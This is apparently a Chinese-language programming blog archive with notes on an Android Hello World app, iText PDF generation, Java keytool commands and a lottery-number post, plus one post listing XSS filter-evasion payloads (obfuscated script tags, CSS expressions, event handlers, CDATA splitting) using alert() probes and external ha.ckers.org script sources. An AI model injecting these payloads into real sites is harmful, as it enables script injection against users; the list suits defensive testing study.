2010年1月28日 星期四

Android學習筆記 - Hello World

使用TextView秀出Hello World

1. MainActivity.java
package org.me.android_helloworld;
import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class MainActivity extends Activity {
    @Override
    public void onCreate(Bundle icicle) {
        super.onCreate(icicle);
        //設定要使用的layout
        setContentView(R.layout.main);
        //取得TextView物件
        TextView view = (TextView) findViewById(R.id.textView);
        view.setText("hellworld");
    }
}

2. main.xml
<?xml version="1.0" encoding="UTF-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
              android:orientation="vertical"
              android:layout_width="fill_parent"
              android:layout_height="fill_parent">
    <TextView
        android:id="@+id/textView"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"/>
</LinearLayout>

3. AndroidManifest.xml
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="org.me.android_helloworld">
    <application>
         <activity android:name=".MainActivity" android:label="MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

4. 結果


2010年1月24日 星期日

98年11-12月統一發票中獎號碼

98年11月、12月統一發票中獎號碼
特獎
08206154
44449574
73344400
頭獎
01615321
81479582
97907891


新增六獎:757


2010年1月19日 星期二

Java - 使用iText輸出pdf檔(三) 表格(table)範例

1. 參考Java - 使用iText輸出pdf檔(一) Hello world範例

2. 表格(table)範例。
//建立PdfPTable物件並設定其欄位數
PdfPTable table = new PdfPTable(2);
//設定table的寬度
table.setWidthPercentage(100f);
//設定每個欄位的寬度
table.setWidths(new float[]{0.20f, 0.90f});

PdfPCell title = new PdfPCell();
//合併儲存格
title.setColspan(2);
title.addElement(new Phrase("Table's Title"));
table.addCell(title);

//設定第一個欄位的內容
PdfPCell cell_1 = new PdfPCell();
cell_1.addElement(new Phrase("Column 1"));
table.addCell(cell_1);

//設定第二個欄位的內容
PdfPCell cell_2 = new PdfPCell();
cell_2.addElement(new Phrase("Column 2"));
table.addCell(cell_2);

document.add(table);


Java - 使用iText輸出pdf檔(二) 中文字範例

1. 參考Java - 使用iText輸出pdf檔(一) Hello world範例

2. 設定中文字型。
//指定要使用的字型(KAIU.TTF為Windows內建的標楷體)
BaseFont bf = BaseFont.createFont("C:\\WINDOWS\\Fonts\\KAIU.TTF", BaseFont.IDENTITY_H,  BaseFont.NOT_EMBEDDED);
//設定中文字型(BaseFont、字型大小、字型型態)
Font chineseFont = new Font(bf, 12, Font.NORMAL);
//套用中文字型
document.add(new Phrase("這是中文",chineseFont));


2010年1月18日 星期一

Java - 使用iText輸出pdf檔(一) Hello world範例

1. 下載iText Jar檔

2. Hello world範例。
FileOutputStream fos = new FileOutputStream(new File("C:/Hello world.pdf"));
//建立一個Document物件,並設定頁面大小及左、右、上、下的邊界
Document document = new Document(PageSize.A4, 10, 20, 30, 40);
//設定要輸出的Stream
PdfWriter.getInstance(document, fos);
document.open();
//設定作者
document.addAuthor("Author");
//設定建立者
document.addCreator("createor");
//設定主題
document.addSubject("subject");
//設定標題
document.addTitle("title");
//設定建立時間(為當下時間)
document.addCreationDate();

document.add(new Phrase("Hello world\n"));

document.close();


Cross Site Scripting(XSS)攻擊手法介紹

1. 改變字元大小寫
    <sCript>alert('d')</scRipT>

2. 利用多加一些其它字元來規避Regular Expression的檢查
    <<script>alert('c')//<</script>
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
    <SCRIPT =">" SRC="t.js"></SCRIPT>
    <SCRIPT a=">" '' SRC="t.js"></SCRIPT>
    <SCRIPT "a='>'" SRC="t.js"></SCRIPT>
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
    <SCRIPT a=">'>" SRC="t.js"></SCRIPT>

3. 以其它副檔名取代.js
    <script src="bad.jpg"></script>

4. 將Javascript寫在CSS檔裡
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
       example:
          body {
               background-image: url('javascript:alert("XSS");')
          }

5. 在script的tag裡加入一些其它字元
    <SCRIPT/SRC="t.js"></SCRIPT>
    <SCRIPT/anyword SRC="t.js"></SCRIPT>

6. 使用tab或是new line來規避
    <img src="jav ascr ipt:alert('XSS3')">
    <img src="jav ascr ipt:alert('XSS3')">
    <IMG SRC="jav ascript:alert('XSS');">
         -> tag
         -> new line

7. 使用"\"來規避
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS32")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS33"))'>
    <IMG STYLE="xss:expr/*anyword*/ession(alert('sss'))">
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
    <A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>


8. 使用Hex encode來規避(也可能會把";"拿掉)
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
        原始碼:<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">

    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">
        原始碼:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">


9. script in HTML tag
    <body onload=」alert('onload')」>
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload


10. 在swf裡含有xss的code
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

11. 利用CDATA將xss的code拆開,再組合起來。
    <XML ID=I><X><C>
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
    </C></X>
    </xml>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

    <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>


12. 利用HTML+TIME。
    <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
    </BODY></HTML>


13. 透過META寫入Cookie。
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

14. javascript in src , href , url
    <IFRAME SRC=javascript:alert('13')></IFRAME>
    <img src="javascript:alert('XSS3')">
    <IMG DYNSRC="javascript:alert('XSS20')">
    <IMG LOWSRC="javascript:alert('XSS21')">
    <LINK REL="stylesheet" HREF="javascript:alert('XSS24');">
    <IFRAME SRC=javascript:alert('XSS27')></IFRAME>
    <TABLE BACKGROUND="javascript:alert('XSS29')">
    <DIV STYLE="background-image: url(javascript:alert('XSS30'))">
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert('XSS35')");}
    </STYLE><A CLASS=XSS></A>
    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


2010年1月17日 星期日

Java keytool 基本指令介紹

1. 匯入憑證到keystore
      keytool –import –alias xxx –file xxx.cer –keystore .keystore

2. 查詢keystore的內容
      keytool –list –v –keystore .keystore

3. 刪除keystore內的其中一個憑證
      keytool –delete –alias xxx –keystore .keystore

4. 產生金錀對(RSA為非對稱加密的演算法)
      keytool -genkey -alias xxx -keyalg RSA -keystore .keystore

5. 產生憑證申請檔
      keytool -certreq -alias xxx -file certreq.txt -keystore .keystore

6. 查詢PKCS12類型keystore的內容
      keytool –list –v –keystore .keystore -storetype pkcs12

7. 建立一個含有私鑰的keystore
      keytool -genkey -alias keyAlias -keyalg RSA -keystore keystore.jks

8. 修改keystore的密碼
      keytool -storepasswd -new newPassword -keystore keystore.jks